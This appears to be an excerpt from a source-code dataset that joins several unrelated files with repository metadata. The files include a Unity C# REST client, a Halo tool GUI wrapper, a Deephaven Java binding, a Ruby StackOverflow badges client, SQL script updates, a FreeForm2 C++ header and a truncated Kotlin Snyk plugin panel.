query.Value.GetType().IsAssignableFrom(typeof(IList))) { int j = 0; foreach (object value in query.Value as IEnumerable) { if (j > 0) queryStringBuilder.Append('&'); queryStringBuilder.Append(query.Key); queryStringBuilder.Append("="); queryStringBuilder.Append(value); ++j; } } else { queryStringBuilder.Append(query.Key); queryStringBuilder.Append('='); queryStringBuilder.Append(query.Value); } ++i; } return queryStringBuilder.ToString(); } public static async Task<Result<TResponse>> Get<TResponse>(string url) { return await Get<TResponse>(url, new Dictionary<string, object>(), string.Empty); } public static async Task<Result<TResponse>> Get<TResponse>(string url, Dictionary<string, object> queries) { return await Get<TResponse>(url, queries, string.Empty); } public static async Task<Result<TResponse>> Get<TResponse>(string url, string authorizationToken) { return await Get<TResponse>(url, new Dictionary<string, object>(), authorizationToken); } public static async Task<Result<TResponse>> Get<TResponse>(string url, Dictionary<string, object> queries, string authorizationToken) { Result result = await Get(url + GetQueryString(queries), authorizationToken); return new Result<TResponse>(result.ResponseCode, result.IsHttpError, result.IsNetworkError, result.StringContent, result.Error); } public static async Task<Result<TResponse>> Delete<TResponse>(string url) { return await Delete<TResponse>(url, new Dictionary<string, object>(), string.Empty); } public static async Task<Result<TResponse>> Delete<TResponse>(string url, Dictionary<string, object> queries) { return await Delete<TResponse>(url, queries, string.Empty); } public static async Task<Result<TResponse>> Delete<TResponse>(string url, Dictionary<string, object> queries, string authorizationToken) { Result result = await Delete(url + GetQueryString(queries), authorizationToken); return new Result<TResponse>(result.ResponseCode, result.IsHttpError, result.IsNetworkError, result.StringContent, result.Error); } public static async Task<Result<TResponse>> Post<TForm, TResponse>(string url, TForm data) { return await Post<TForm, TResponse>(url, data, string.Empty); } public static async Task<Result<TResponse>> Post<TForm, TResponse>(string url, TForm data, string authorizationToken) { Result result = await Post(url, data, authorizationToken); return new Result<TResponse>(result.ResponseCode, result.IsHttpError, result.IsNetworkError, result.StringContent, result.Error); } public static async Task<Result<TResponse>> Post<TResponse>(string url, string authorizationToken) { Result result = await Post(url, "{}", authorizationToken); return new Result<TResponse>(result.ResponseCode, result.IsHttpError, result.IsNetworkError, result.StringContent, result.Error); } public static async Task<Result> Post(string url, string authorizationToken) { return await Post(url, "{}", authorizationToken); } public static async Task<Result<TResponse>> Patch<TForm, TResponse>(string url, TForm data) { return await Patch<TForm, TResponse>(url, data, string.Empty); } public static async Task<Result<TResponse>> Patch<TForm, TResponse>(string url, TForm data, string authorizationToken) { Result result = await Patch(url, data, authorizationToken); return new Result<TResponse>(result.ResponseCode, result.IsHttpError, result.IsNetworkError, result.StringContent, result.Error); } public static async Task<Result<TResponse>> Patch<TResponse>(string url, string authorizationToken) { Result result = await Patch(url, "{}", authorizationToken); return new Result<TResponse>(result.ResponseCode, result.IsHttpError, result.IsNetworkError, result.StringContent, result.Error); } public static async Task<Result> Patch(string url, string authorizationToken) { return await Patch(url, "{}", authorizationToken); } public static async Task<Result<TResponse>> Put<TForm, TResponse>(string url, TForm data) { return await Put<TForm, TResponse>(url, data, string.Empty); } public static async Task<Result<TResponse>> Put<TForm, TResponse>(string url, TForm data, string authorizationToken) { Result result = await Put(url, data, authorizationToken); return new Result<TResponse>(result.ResponseCode, result.IsHttpError, result.IsNetworkError, result.StringContent, result.Error); } public static async Task<Result<TResponse>> Put<TResponse>(string url, string authorizationToken) { Result result = await Put(url, "{}", authorizationToken); return new Result<TResponse>(result.ResponseCode, result.IsHttpError, result.IsNetworkError, result.StringContent, result.Error); } public static async Task<Result> Put(string url, string authorizationToken) { return await Put(url, "{}", authorizationToken); } public static async Task<Result> Get(string url, string authorizationToken) { #if DEBUG_REST_CLIENT Guid id = Guid.NewGuid(); bool errorLogged = false; Debug.Log($"Get request {id} {url}"); #endif bool doNotCountNextRequest = DoNotCountNextRequest; long responseCode = -1; bool isHttpError = true; bool isNetworkError = true; string stringContent = string.Empty; string error = string.Empty; if (!doNotCountNextRequest) GetLoadCount++; using (UnityWebRequest webRequest = new UnityWebRequest(url, UnityWebRequest.kHttpVerbGET)) { webRequest.certificateHandler = new SimpleWebRequestCert(); if (!string.IsNullOrEmpty(authorizationToken)) { #if DEBUG_REST_CLIENT Debug.Log($"Get {id} with authorization token {authorizationToken}"); #endif webRequest.SetRequestHeader("Content-Type", "application/json"); webRequest.SetRequestHeader("Authorization", "Bearer " + authorizationToken); } webRequest.downloadHandler = new DownloadHandlerBuffer(); try { UnityWebRequestAsyncOperation ayncOp = webRequest.SendWebRequest(); while (!ayncOp.isDone) { await Task.Yield(); } } catch (Exception ex) { #if DEBUG_REST_CLIENT Debug.LogError($"Get error {id} catched {ex}"); errorLogged = true; #else Debug.LogException(ex); #endif } responseCode = webRequest.responseCode; #if UNITY_2020_2_OR_NEWER isHttpError = (webRequest.result == UnityWebRequest.Result.ProtocolError); isNetworkError = (webRequest.result == UnityWebRequest.Result.ConnectionError); #else isHttpError = webRequest.isHttpError; isNetworkError = webRequest.isNetworkError; #endif if (!isNetworkError) stringContent = webRequest.downloadHandler.text; else error = webRequest.error; #if DEBUG_REST_CLIENT if ((isHttpError || isNetworkError) && !errorLogged) Debug.LogError($"Get error {id} {stringContent}"); else Debug.Log($"Get success {id} {webRequest.responseCode} {stringContent}"); #endif } if (!doNotCountNextRequest) GetLoadCount--; DoNotCountNextRequest = false; return new Result(responseCode, isHttpError, isNetworkError, stringContent, error); } public static async Task<Result> Delete(string url, string authorizationToken) { #if DEBUG_REST_CLIENT Guid id = Guid.NewGuid(); bool errorLogged = false; Debug.Log($"Delete request {id} {url}"); #endif bool doNotCountNextRequest = DoNotCountNextRequest; long responseCode = -1; bool isHttpError = true; bool isNetworkError = true; string stringContent = string.Empty; string error = string.Empty; if (!doNotCountNextRequest) DeleteLoadCount++; using (UnityWebRequest webRequest = new UnityWebRequest(url, UnityWebRequest.kHttpVerbDELETE)) { webRequest.certificateHandler = new SimpleWebRequestCert(); if (!string.IsNullOrEmpty(authorizationToken)) { #if DEBUG_REST_CLIENT Debug.Log($"Delete {id} with authorization token {authorizationToken}"); #endif webRequest.SetRequestHeader("Content-Type", "application/json"); webRequest.SetRequestHeader("Authorization", "Bearer " + authorizationToken); } webRequest.downloadHandler = new DownloadHandlerBuffer(); try { UnityWebRequestAsyncOperation ayncOp = webRequest.SendWebRequest(); while (!ayncOp.isDone) { await Task.Yield(); } } catch (Exception ex) { #if DEBUG_REST_CLIENT Debug.LogError($"Delete error {id} catched {ex}"); errorLogged = true; #else Debug.LogException(ex); #endif } responseCode = webRequest.responseCode; #if UNITY_2020_2_OR_NEWER isHttpError = (webRequest.result == UnityWebRequest.Result.ProtocolError); isNetworkError = (webRequest.result == UnityWebRequest.Result.ConnectionError); #else isHttpError = webRequest.isHttpError; isNetworkError = webRequest.isNetworkError; #endif if (!isNetworkError) stringContent = webRequest.downloadHandler.text; else error = webRequest.error; #if DEBUG_REST_CLIENT if ((isHttpError || isNetworkError) && !errorLogged) Debug.LogError($"Delete error {id} {stringContent}"); else Debug.Log($"Delete success {id} {webRequest.responseCode} {stringContent}"); #endif } if (!doNotCountNextRequest) DeleteLoadCount--; DoNotCountNextRequest = false; return new Result(responseCode, isHttpError, isNetworkError, stringContent, error); } public static async Task<Result> Post<TForm>(string url, TForm data) { return await Post(url, JsonConvert.SerializeObject(data), null); } public static async Task<Result> Post<TForm>(string url, TForm data, string authorizationToken) { return await Post(url, JsonConvert.SerializeObject(data), authorizationToken); } public static async Task<Result> Post(string url, string data, string authorizationToken) { #if DEBUG_REST_CLIENT Guid id = Guid.NewGuid(); bool errorLogged = false; Debug.Log($"Post request {id} {url} {data}"); #endif bool doNotCountNextRequest = DoNotCountNextRequest; long responseCode = -1; bool isHttpError = true; bool isNetworkError = true; string stringContent = string.Empty; string error = string.Empty; if (!doNotCountNextRequest) PostLoadCount++; using (UnityWebRequest webRequest = new UnityWebRequest(url, UnityWebRequest.kHttpVerbPOST)) { webRequest.certificateHandler = new SimpleWebRequestCert(); if (!string.IsNullOrEmpty(authorizationToken)) { #if DEBUG_REST_CLIENT Debug.Log($"Post {id} with authorization token {authorizationToken}"); #endif webRequest.SetRequestHeader("Content-Type", "application/json"); webRequest.SetRequestHeader("Authorization", "Bearer " + authorizationToken); } webRequest.uploadHandler = new UploadHandlerRaw(Encoding.UTF8.GetBytes(data.ToCharArray())); webRequest.uploadHandler.contentType = "application/json"; webRequest.downloadHandler = new DownloadHandlerBuffer(); try { UnityWebRequestAsyncOperation ayncOp = webRequest.SendWebRequest(); while (!ayncOp.isDone) { await Task.Yield(); } } catch (Exception ex) { #if DEBUG_REST_CLIENT Debug.LogError($"Post error {id} catched {ex}"); errorLogged = true; #else Debug.LogException(ex); #endif } responseCode = webRequest.responseCode; #if UNITY_2020_2_OR_NEWER isHttpError = (webRequest.result == UnityWebRequest.Result.ProtocolError); isNetworkError = (webRequest.result == UnityWebRequest.Result.ConnectionError); #else isHttpError = webRequest.isHttpError; isNetworkError = webRequest.isNetworkError; #endif if (!isNetworkError) stringContent = webRequest.downloadHandler.text; else error = webRequest.error; #if DEBUG_REST_CLIENT if ((isHttpError || isNetworkError) && !errorLogged) Debug.LogError($"Post error {id} {stringContent}"); else Debug.Log($"Post success {id} {webRequest.responseCode} {stringContent}"); #endif } if (!doNotCountNextRequest) PostLoadCount--; DoNotCountNextRequest = false; return new Result(responseCode, isHttpError, isNetworkError, stringContent, error); } public static async Task<Result> Patch<TForm>(string url, TForm data) { return await Patch(url, JsonConvert.SerializeObject(data), null); } public static async Task<Result> Patch<TForm>(string url, TForm data, string authorizationToken) { return await Patch(url, JsonConvert.SerializeObject(data), authorizationToken); } public static async Task<Result> Patch(string url, string data, string authorizationToken) { #if DEBUG_REST_CLIENT Guid id = Guid.NewGuid(); bool errorLogged = false; Debug.Log($"Patch request {id} {url} {data}"); #endif bool doNotCountNextRequest = DoNotCountNextRequest; long responseCode = -1; bool isHttpError = true; bool isNetworkError = true; string stringContent = string.Empty; string error = string.Empty; if (!doNotCountNextRequest) PatchLoadCount++; using (UnityWebRequest webRequest = new UnityWebRequest(url, "PATCH")) { webRequest.certificateHandler = new SimpleWebRequestCert(); if (!string.IsNullOrEmpty(authorizationToken)) { #if DEBUG_REST_CLIENT Debug.Log($"Patch {id} with authorization token {authorizationToken}"); #endif webRequest.SetRequestHeader("Content-Type", "application/json"); webRequest.SetRequestHeader("Authorization", "Bearer " + authorizationToken); } webRequest.uploadHandler = new UploadHandlerRaw(Encoding.UTF8.GetBytes(data.ToCharArray())); webRequest.uploadHandler.contentType = "application/json"; webRequest.downloadHandler = new DownloadHandlerBuffer(); try { UnityWebRequestAsyncOperation ayncOp = webRequest.SendWebRequest(); while (!ayncOp.isDone) { await Task.Yield(); } } catch (Exception ex) { #if DEBUG_REST_CLIENT Debug.LogError($"Patch error {id} catched {ex}"); errorLogged = true; #else Debug.LogException(ex); #endif } responseCode = webRequest.responseCode; #if UNITY_2020_2_OR_NEWER isHttpError = (webRequest.result == UnityWebRequest.Result.ProtocolError); isNetworkError = (webRequest.result == UnityWebRequest.Result.ConnectionError); #else isHttpError = webRequest.isHttpError; isNetworkError = webRequest.isNetworkError; #endif if (!isNetworkError) stringContent = webRequest.downloadHandler.text; else error = webRequest.error; #if DEBUG_REST_CLIENT if ((isHttpError || isNetworkError) && !errorLogged) Debug.LogError($"Patch error {id} {stringContent}"); else Debug.Log($"Patch success {id} {webRequest.responseCode} {stringContent}"); #endif } if (!doNotCountNextRequest) PatchLoadCount--; DoNotCountNextRequest = false; return new Result(responseCode, isHttpError, isNetworkError, stringContent, error); } public static async Task<Result> Put<TForm>(string url, TForm data) { return await Put(url, JsonConvert.SerializeObject(data), null); } public static async Task<Result> Put<TForm>(string url, TForm data, string authorizationToken) { return await Put(url, JsonConvert.SerializeObject(data), authorizationToken); } public static async Task<Result> Put(string url, string data, string authorizationToken) { #if DEBUG_REST_CLIENT Guid id = Guid.NewGuid(); bool errorLogged = false; Debug.Log($"Put request {id} {url} {data}"); #endif bool doNotCountNextRequest = DoNotCountNextRequest; long responseCode = -1; bool isHttpError = true; bool isNetworkError = true; string stringContent = string.Empty; string error = string.Empty; if (!doNotCountNextRequest) PutLoadCount++; using (UnityWebRequest webRequest = new UnityWebRequest(url, UnityWebRequest.kHttpVerbPUT)) { webRequest.certificateHandler = new SimpleWebRequestCert(); if (!string.IsNullOrEmpty(authorizationToken)) { #if DEBUG_REST_CLIENT Debug.Log($"Put {id} with authorization token {authorizationToken}"); #endif webRequest.SetRequestHeader("Content-Type", "application/json"); webRequest.SetRequestHeader("Authorization", "Bearer " + authorizationToken); } webRequest.uploadHandler = new UploadHandlerRaw(Encoding.UTF8.GetBytes(data.ToCharArray())); webRequest.uploadHandler.contentType = "application/json"; webRequest.downloadHandler = new DownloadHandlerBuffer(); try { UnityWebRequestAsyncOperation ayncOp = webRequest.SendWebRequest(); while (!ayncOp.isDone) { await Task.Yield(); } } catch (Exception ex) { #if DEBUG_REST_CLIENT Debug.LogError($"Put error {id} catched {ex}"); errorLogged = true; #else Debug.LogException(ex); #endif } responseCode = webRequest.responseCode; #if UNITY_2020_2_OR_NEWER isHttpError = (webRequest.result == UnityWebRequest.Result.ProtocolError); isNetworkError = (webRequest.result == UnityWebRequest.Result.ConnectionError); #else isHttpError = webRequest.isHttpError; isNetworkError = webRequest.isNetworkError; #endif if (!isNetworkError) stringContent = webRequest.downloadHandler.text; else error = webRequest.error; #if DEBUG_REST_CLIENT if ((isHttpError || isNetworkError) && !errorLogged) Debug.LogError($"Put error {id} {stringContent}"); else Debug.Log($"Put success {id} {webRequest.responseCode} {stringContent}"); #endif } if (!doNotCountNextRequest) PutLoadCount--; DoNotCountNextRequest = false; return new Result(responseCode, isHttpError, isNetworkError, stringContent, error); } public static string GetQueryString(params KeyValuePair<string, string>[] parameters) { string queryString = string.Empty; for (int i = 0; i < parameters.Length; ++i) { if (string.IsNullOrEmpty(parameters[i].Key) || string.IsNullOrEmpty(parameters[i].Value)) continue; if (!string.IsNullOrEmpty(queryString)) queryString += "&"; else queryString += "?"; queryString += $"{parameters[i].Key}={parameters[i].Value}"; } return queryString; } public static string GetUrl(string apiUrl, string action) { if (apiUrl.EndsWith("/")) apiUrl = apiUrl.Substring(0, apiUrl.Length - 1); if (action.StartsWith("/")) action = action.Substring(1); return $"{apiUrl}/{action}"; } public static string GetNetworkErrorMessage(long responseCode) { switch (responseCode) { case 400: return "Bad Request"; case 401: return "Unauthorized"; case 402: return "Payment Required"; case 403: return "Forbidden"; case 404: return "Not Found"; case 405: return "Method Not Allowed"; case 406: return "Not Acceptable"; case 407: return "Proxy Authentication Required"; case 408: return "Request Timeout"; case 409: return "Conflict"; case 410: return "Gone"; case 411: return "Length Required"; case 412: return "Precondition Failed"; case 413: return "Request Entity Too Large"; case 414: return "Request-url Too Long"; case 415: return "Unsupported Media Type"; case 416: return "Requested Range Not Satisfiable"; case 417: return "Expectation Failed"; case 500: return "Internal Server Error"; case 501: return "Not Implemented"; case 502: return "Bad Gateway"; case 503: return "Service Unavailable"; case 504: return "Gateway Timeout"; case 505: return "HTTP Version Not Supported"; default: if (responseCode >= 400 && responseCode < 500) return "Client Error"; if (responseCode >= 500 && responseCode < 600) return "Server Error"; return "Unknow Error"; } } public interface IResult { long ResponseCode { get; } bool IsHttpError { get; } bool IsNetworkError { get; } string StringContent { get; } string Error { get; } } public struct Result : IResult { public long ResponseCode { get; private set; } public bool IsHttpError { get; private set; } public bool IsNetworkError { get; private set; } public string StringContent { get; private set; } public string Error { get; private set; } public Result(long responseCode, bool isHttpError, bool isNetworkError, string stringContent, string error) { ResponseCode = responseCode; IsHttpError = isHttpError; IsNetworkError = isNetworkError; StringContent = stringContent; Error = error; if (IsHttpError && string.IsNullOrEmpty(Error)) Error = GetNetworkErrorMessage(responseCode); } } public struct Result<T> : IResult { public long ResponseCode { get; private set; } public bool IsHttpError { get; private set; } public bool IsNetworkError { get; private set; } public string StringContent { get; private set; } public string Error { get; private set; } public T Content { get; private set; } public Result(long responseCode, bool isHttpError, bool isNetworkError, string stringContent, string error) { ResponseCode = responseCode; StringContent = stringContent; IsHttpError = isHttpError; IsNetworkError = isNetworkError; Error = error; Content = default; if (!IsHttpError && !IsNetworkError) { try { Content = JsonConvert.DeserializeObject<T>(stringContent); } catch (Exception ex) { // It may not able to deserialize Debug.LogError($"Can't deserialize content: {ex}"); } } if (IsHttpError && string.IsNullOrEmpty(Error)) Error = GetNetworkErrorMessage(responseCode); } } } }
42.021614
144
0.557041
d6893d8ee94f5b406e65604d69e34a89f68ff819
2,879
cs
C#
GUI Wrappers/SBS.cs
HaloMods/Halo1ToolPlusPlus
58071645536157ea3d022e759510fc23bc6d835d
[ "MIT" ]
5
2017-08-27T18:07:03.000Z
2020-07-02T17:04:15.000Z
GUI Wrappers/SBS.cs
HaloMods/Halo1ToolPlusPlus
58071645536157ea3d022e759510fc23bc6d835d
[ "MIT" ]
null
null
null
GUI Wrappers/SBS.cs
HaloMods/Halo1ToolPlusPlus
58071645536157ea3d022e759510fc23bc6d835d
[ "MIT" ]
3
2018-05-25T09:43:38.000Z
2020-11-03T13:35:45.000Z
using System; using System.Collections; using System.ComponentModel; using System.Drawing; using System.Data; using System.Windows.Forms; using System.Diagnostics; using System.IO; namespace Tool__ { public class SBS : Wrapper { private System.Windows.Forms.Button Run; private System.Windows.Forms.TextBox StructureName; private System.Windows.Forms.Label label1; public SBS() { // This call is required by the Windows.Forms Form Designer. InitializeComponent(); } #region Component Designer generated code /// <summary> /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// </summary> private void InitializeComponent() { this.Run = new System.Windows.Forms.Button(); this.StructureName = new System.Windows.Forms.TextBox(); this.label1 = new System.Windows.Forms.Label(); this.SuspendLayout(); // // Run // this.Run.Location = new System.Drawing.Point(208, 24); this.Run.Name = "Run"; this.Run.TabIndex = 9; this.Run.Text = "Run Tool"; this.Run.Click += new System.EventHandler(this.OnRun); // // StructureName // this.StructureName.Location = new System.Drawing.Point(144, 0); this.StructureName.Name = "StructureName"; this.StructureName.Size = new System.Drawing.Size(176, 20); this.StructureName.TabIndex = 8; this.StructureName.Text = ""; // // label1 // this.label1.Location = new System.Drawing.Point(0, 0); this.label1.Name = "label1"; this.label1.Size = new System.Drawing.Size(144, 23); this.label1.TabIndex = 7; this.label1.Text = "Structure-Name"; this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // SBS // this.Controls.Add(this.Run); this.Controls.Add(this.StructureName); this.Controls.Add(this.label1); this.Name = "SBS"; this.Size = new System.Drawing.Size(496, 520); this.ResumeLayout(false); } #endregion private void OnRun(object sender, System.EventArgs e) { if( StructureName.Text == "") MessageBox.Show("#ERROR: Structure-Name is 'NULL'", "Whoops", MessageBoxButtons.OK, MessageBoxIcon.Error); else { this.ConsoleOutput.Text = ""; this.Cursor = Cursors.AppStarting; processCaller = new ProcessCaller(this); processCaller.StdErrReceived += new DataReceivedHandler(Write); processCaller.StdOutReceived += new DataReceivedHandler(Write); processCaller.Completed += new EventHandler(ProcessCompletedOrCanceled); processCaller.Cancelled += new EventHandler(ProcessCompletedOrCanceled); processCaller.FileName = MainForm.HaloDir + "tool.exe"; processCaller.WorkingDirectory = MainForm.HaloDir; processCaller.Arguments = string.Format("structure-breakable-surfaces {0}", this.StructureName.Text); processCaller.Start(); } } } }
29.680412
105
0.699201
dde29c5dd67610dd32b3fd2efe6303a75d33e82a
579
java
Java
web/client-backplane/src/main/java/io/deephaven/javascript/proto/dhinternal/arrow/flight/flatbuf/message_generated/org/apache/arrow/flatbuf/MessageHeader.java
lbooker42/deephaven-core
2d04563f18ae914754b28041475c02770e57af15
[ "MIT" ]
null
null
null
web/client-backplane/src/main/java/io/deephaven/javascript/proto/dhinternal/arrow/flight/flatbuf/message_generated/org/apache/arrow/flatbuf/MessageHeader.java
lbooker42/deephaven-core
2d04563f18ae914754b28041475c02770e57af15
[ "MIT" ]
null
null
null
web/client-backplane/src/main/java/io/deephaven/javascript/proto/dhinternal/arrow/flight/flatbuf/message_generated/org/apache/arrow/flatbuf/MessageHeader.java
lbooker42/deephaven-core
2d04563f18ae914754b28041475c02770e57af15
[ "MIT" ]
null
null
null
/** * Copyright (c) 2016-2022 Deephaven Data Labs and Patent Pending */ package io.deephaven.javascript.proto.dhinternal.arrow.flight.flatbuf.message_generated.org.apache.arrow.flatbuf; import jsinterop.annotations.JsPackage; import jsinterop.annotations.JsType; @JsType( isNative = true, name = "dhinternal.arrow.flight.flatbuf.Message_generated.org.apache.arrow.flatbuf.MessageHeader", namespace = JsPackage.GLOBAL) public class MessageHeader { public static int DictionaryBatch, NONE, RecordBatch, Schema; }
30.473684
113
0.720207
0d7f654f093978636291f256289fdacc3b7af818
1,417
rb
Ruby
lib/rubyoverflow/badges.rb
eadz/rubyoverflow
1be367976168317ec630f9c95d874174aebe3a66
[ "MIT" ]
1
2017-05-05T06:03:51.000Z
2017-05-05T06:03:51.000Z
lib/rubyoverflow/badges.rb
eadz/rubyoverflow
1be367976168317ec630f9c95d874174aebe3a66
[ "MIT" ]
null
null
null
lib/rubyoverflow/badges.rb
eadz/rubyoverflow
1be367976168317ec630f9c95d874174aebe3a66
[ "MIT" ]
null
null
null
module Rubyoverflow class Badges < PagedBase attr_reader :badges def initialize(hash, request_path = '') dash = BadgesDash.new hash @badges = Array.new dash.badges.each{ |badgeHash| @badges.push(Badge.new badgeHash)} super(dash, request_path) end class <<self #Retrieves all badges in alphabetical order # #Maps to '/badges' def retrieve_all hash, url = request('badges') Badges.new hash, url end #Retrieves all standard, non-tag-based badges in alphabetical order # #Maps to '/badges/name' def retrieve_all_non_tag_based hash, url = request('badges/name') Badges.new hash, url end #Retrieves all tag-based badges in alphabetical order # #Maps to '/badges/tags' def retrieve_all_tag_based hash, url = request('badges/tags') Badges.new hash, url end #Retrieves all badges that have been awarded to a set of users by their id(s) # #id can be an int, string or an array of ints or strings # #Maps to '/users/{id}/badges' def retrieve_by_user(id) id = convert_to_id_list(id) hash, url = request('users/'+id.to_s+'/badges') Badges.new hash, url end end end class BadgesDash < PagedDash property :badges end end
24.016949
83
0.594213
569162600b769ab957e476f2dbff67dd77315b92
126
sql
SQL
evo-X-Scriptdev2/sql/Updates/0.0.3/r825_scriptdev2_script_texts.sql
Gigelf-evo-X/evo-X
d0e68294d8cacfc7fb3aed5572f51d09a47136b9
[ "OpenSSL" ]
1
2019-01-19T06:35:40.000Z
2019-01-19T06:35:40.000Z
src/bindings/Scriptdev2/sql/Updates/0.0.3/r825_scriptdev2_script_texts.sql
mfooo/wow
3e5fad4cfdf0fd1c0a2fd7c9844e6f140a1bb32d
[ "OpenSSL" ]
null
null
null
src/bindings/Scriptdev2/sql/Updates/0.0.3/r825_scriptdev2_script_texts.sql
mfooo/wow
3e5fad4cfdf0fd1c0a2fd7c9844e6f140a1bb32d
[ "OpenSSL" ]
null
null
null
UPDATE `script_texts` SET `sound`=8902 WHERE `entry`=-1533055; UPDATE `script_texts` SET `sound`=8901 WHERE `entry`=-1533056;
42
62
0.746032
0d569958aeef4e07f14ed0553f2a41fff4eb8b54
3,297
h
C
src/DynamicRank.FreeForm.Library/libs/Expression/Extern.h
ltxtech/lightgbm-transform
ca3bdaae4e594c1bf74503c5ec151f2b794f855c
[ "MIT" ]
17
2021-11-02T13:52:10.000Z
2022-02-10T07:43:38.000Z
src/DynamicRank.FreeForm.Library/libs/Expression/Extern.h
ltxtech/lightgbm-transform
ca3bdaae4e594c1bf74503c5ec151f2b794f855c
[ "MIT" ]
2
2022-01-23T16:15:40.000Z
2022-03-07T15:54:34.000Z
src/DynamicRank.FreeForm.Library/libs/Expression/Extern.h
ltxtech/lightgbm-transform
ca3bdaae4e594c1bf74503c5ec151f2b794f855c
[ "MIT" ]
1
2022-01-21T09:42:59.000Z
2022-01-21T09:42:59.000Z
/*! * Copyright (c) 2021 Microsoft Corporation. All rights reserved. * Licensed under the MIT License. See LICENSE file in the project root for license information. */ #pragma once #ifndef FREEFORM2_EXTERN_H #define FREEFORM2_EXTERN_H #include "Expression.h" #include <string> namespace FreeForm2 { class TypeManager; class ExternalData; // Extern expressions represent an external data member declared in the // program. External data is associated with a member of the // ExternalData::DataType enum. class ExternExpression : public Expression { public: // Opaque structure for resolving external data objects. These objects // are not currently supported by the API and must be built into the // compiler. struct BuiltInObject; static const BuiltInObject &c_numberOfTuplesCommonObject; static const BuiltInObject &c_numberOfTuplesCommonNoDuplicateObject; static const BuiltInObject &c_numberOfTuplesInTriplesCommonObject; static const BuiltInObject &c_alterationAndTermWeightObject; static const BuiltInObject &c_alterationWeightObject; static const BuiltInObject &c_trueNearDoubleQueueObject; static const BuiltInObject &c_boundedQueueObject; // Find a BuiltInObject by name. This function returns nullptr if not // object exists for the name. static const BuiltInObject *GetObjectByName(const std::string &p_name); static const ExternalData &GetObjectData(const BuiltInObject &p_object); // Create an external data reference for the specified piece of data // of a declared type. ExternExpression(const Annotations &p_annotations, const ExternalData &p_data, const TypeImpl &p_declaredType, VariableID p_id, TypeManager &p_typeManager); // Create an external data reference for a basic type external data // member. ExternExpression(const Annotations &p_annotations, const ExternalData &p_data, const TypeImpl &p_declaredType); // Create an extern expression for an object. ExternExpression(const Annotations &p_annotations, const BuiltInObject &p_object, VariableID p_id, TypeManager &p_typeManager); // Methods inherited from Expression. virtual void Accept(Visitor &) const override; virtual size_t GetNumChildren() const override; virtual const TypeImpl &GetType() const override; virtual bool IsConstant() const override; virtual ConstantValue GetConstantValue() const override; // Return the data enum entry associated with this extern. const ExternalData &GetData() const; // Get the array allocation ID associated with this extern. If this // extern is not an array type, the return value is not defined. VariableID GetId() const; private: // Name of the extern variable. const ExternalData &m_data; // Allocation ID for the array for this extern, if applicable. const VariableID m_id; }; } #endif
38.788235
96
0.668487
fefa373f789f461b8e3170623df88b97a109cdeb
7,271
kt
Kotlin
src/main/kotlin/io/snyk/plugin/ui/toolwindow/SnykErrorPanel.kt
snyk/snyk-intellij-plugin
db2deeb62dff1ebb69734368d1dc1020c91a6173
[ "Apache-2.0" ]
36
2018-10-16T12:52:30.000Z
2022-03-09T10:43:12.000Z
src/main/kotlin/io/snyk/plugin/ui/toolwindow/SnykErrorPanel.kt
snyk/snyk-intellij-plugin
db2deeb62dff1ebb69734368d1dc1020c91a6173
[ "Apache-2.0" ]
128
2018-10-05T08:30:22.000Z
2022-03-31T11:47:47.000Z
src/main/kotlin/io/snyk/plugin/ui/toolwindow/SnykErrorPanel.kt
snyk/snyk-intellij-plugin
db2deeb62dff1ebb69734368d1dc1020c91a6173
[ "Apache-2.0" ]
29
2019-09-18T02:13:47.000Z
2022-02-21T01:22:27.000Z
package io.snyk.plugin.ui.toolwindow import com.intellij.ui.ScrollPaneFactory import com.intellij.uiDesigner.core.GridConstraints import com.intellij.uiDesigner.core.GridLayoutManager import com.intellij.uiDesigner.core.Spacer import com.intellij.util.ui.UIUtil import io.snyk.plugin.Severity import io.snyk.plugin.ui.buildBoldTitleLabel import snyk.common.SnykError import java.awt.Color import java.awt.Font import java.awt.Insets import javax.swing.JLabel import javax.swing.JPanel import javax.swing.JTextArea class SnykErrorPanel(snykError: SnykError) : JPanel() { init { this.layout = GridLayoutManager(11, 1, Insets(20, 0, 0, 0), -1, 10) this.add(Spacer(), GridConstraints( 10, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_VERTICAL, 1, GridConstraints.SIZEPOLICY_WANT_GROW, null, null, null, 0, false)) val pathPanel = JPanel() pathPanel.layout = GridLayoutManager(4, 2, Insets(0, 0, 0, 0), -1, -1) this.add(pathPanel, GridConstraints( 7, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK or GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK or GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 1, false)) pathPanel.add(buildBoldTitleLabel("Path"), GridConstraints( 0, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)) val pathTextArea = JTextArea(snykError.path) pathTextArea.lineWrap = true pathTextArea.wrapStyleWord = true pathTextArea.isOpaque = false pathTextArea.isEditable = false pathTextArea.background = UIUtil.getPanelBackground() pathPanel.add(ScrollPaneFactory.createScrollPane(pathTextArea, true), GridConstraints( 2, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_GROW or GridConstraints.SIZEPOLICY_CAN_SHRINK, GridConstraints.SIZEPOLICY_CAN_GROW or GridConstraints.SIZEPOLICY_CAN_SHRINK, null, null, null, 1, false)) val messagePanel = JPanel() messagePanel.layout = GridLayoutManager(2, 1, Insets(0, 0, 0, 0), -1, -1) this.add(messagePanel, GridConstraints( 8, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK or GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK or GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 1, false)) messagePanel.add(buildBoldTitleLabel("Message"), GridConstraints( 0, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)) val errorMessageTextArea = JTextArea(snykError.message) errorMessageTextArea.lineWrap = true errorMessageTextArea.wrapStyleWord = true errorMessageTextArea.isOpaque = false errorMessageTextArea.isEditable = false errorMessageTextArea.background = UIUtil.getPanelBackground() 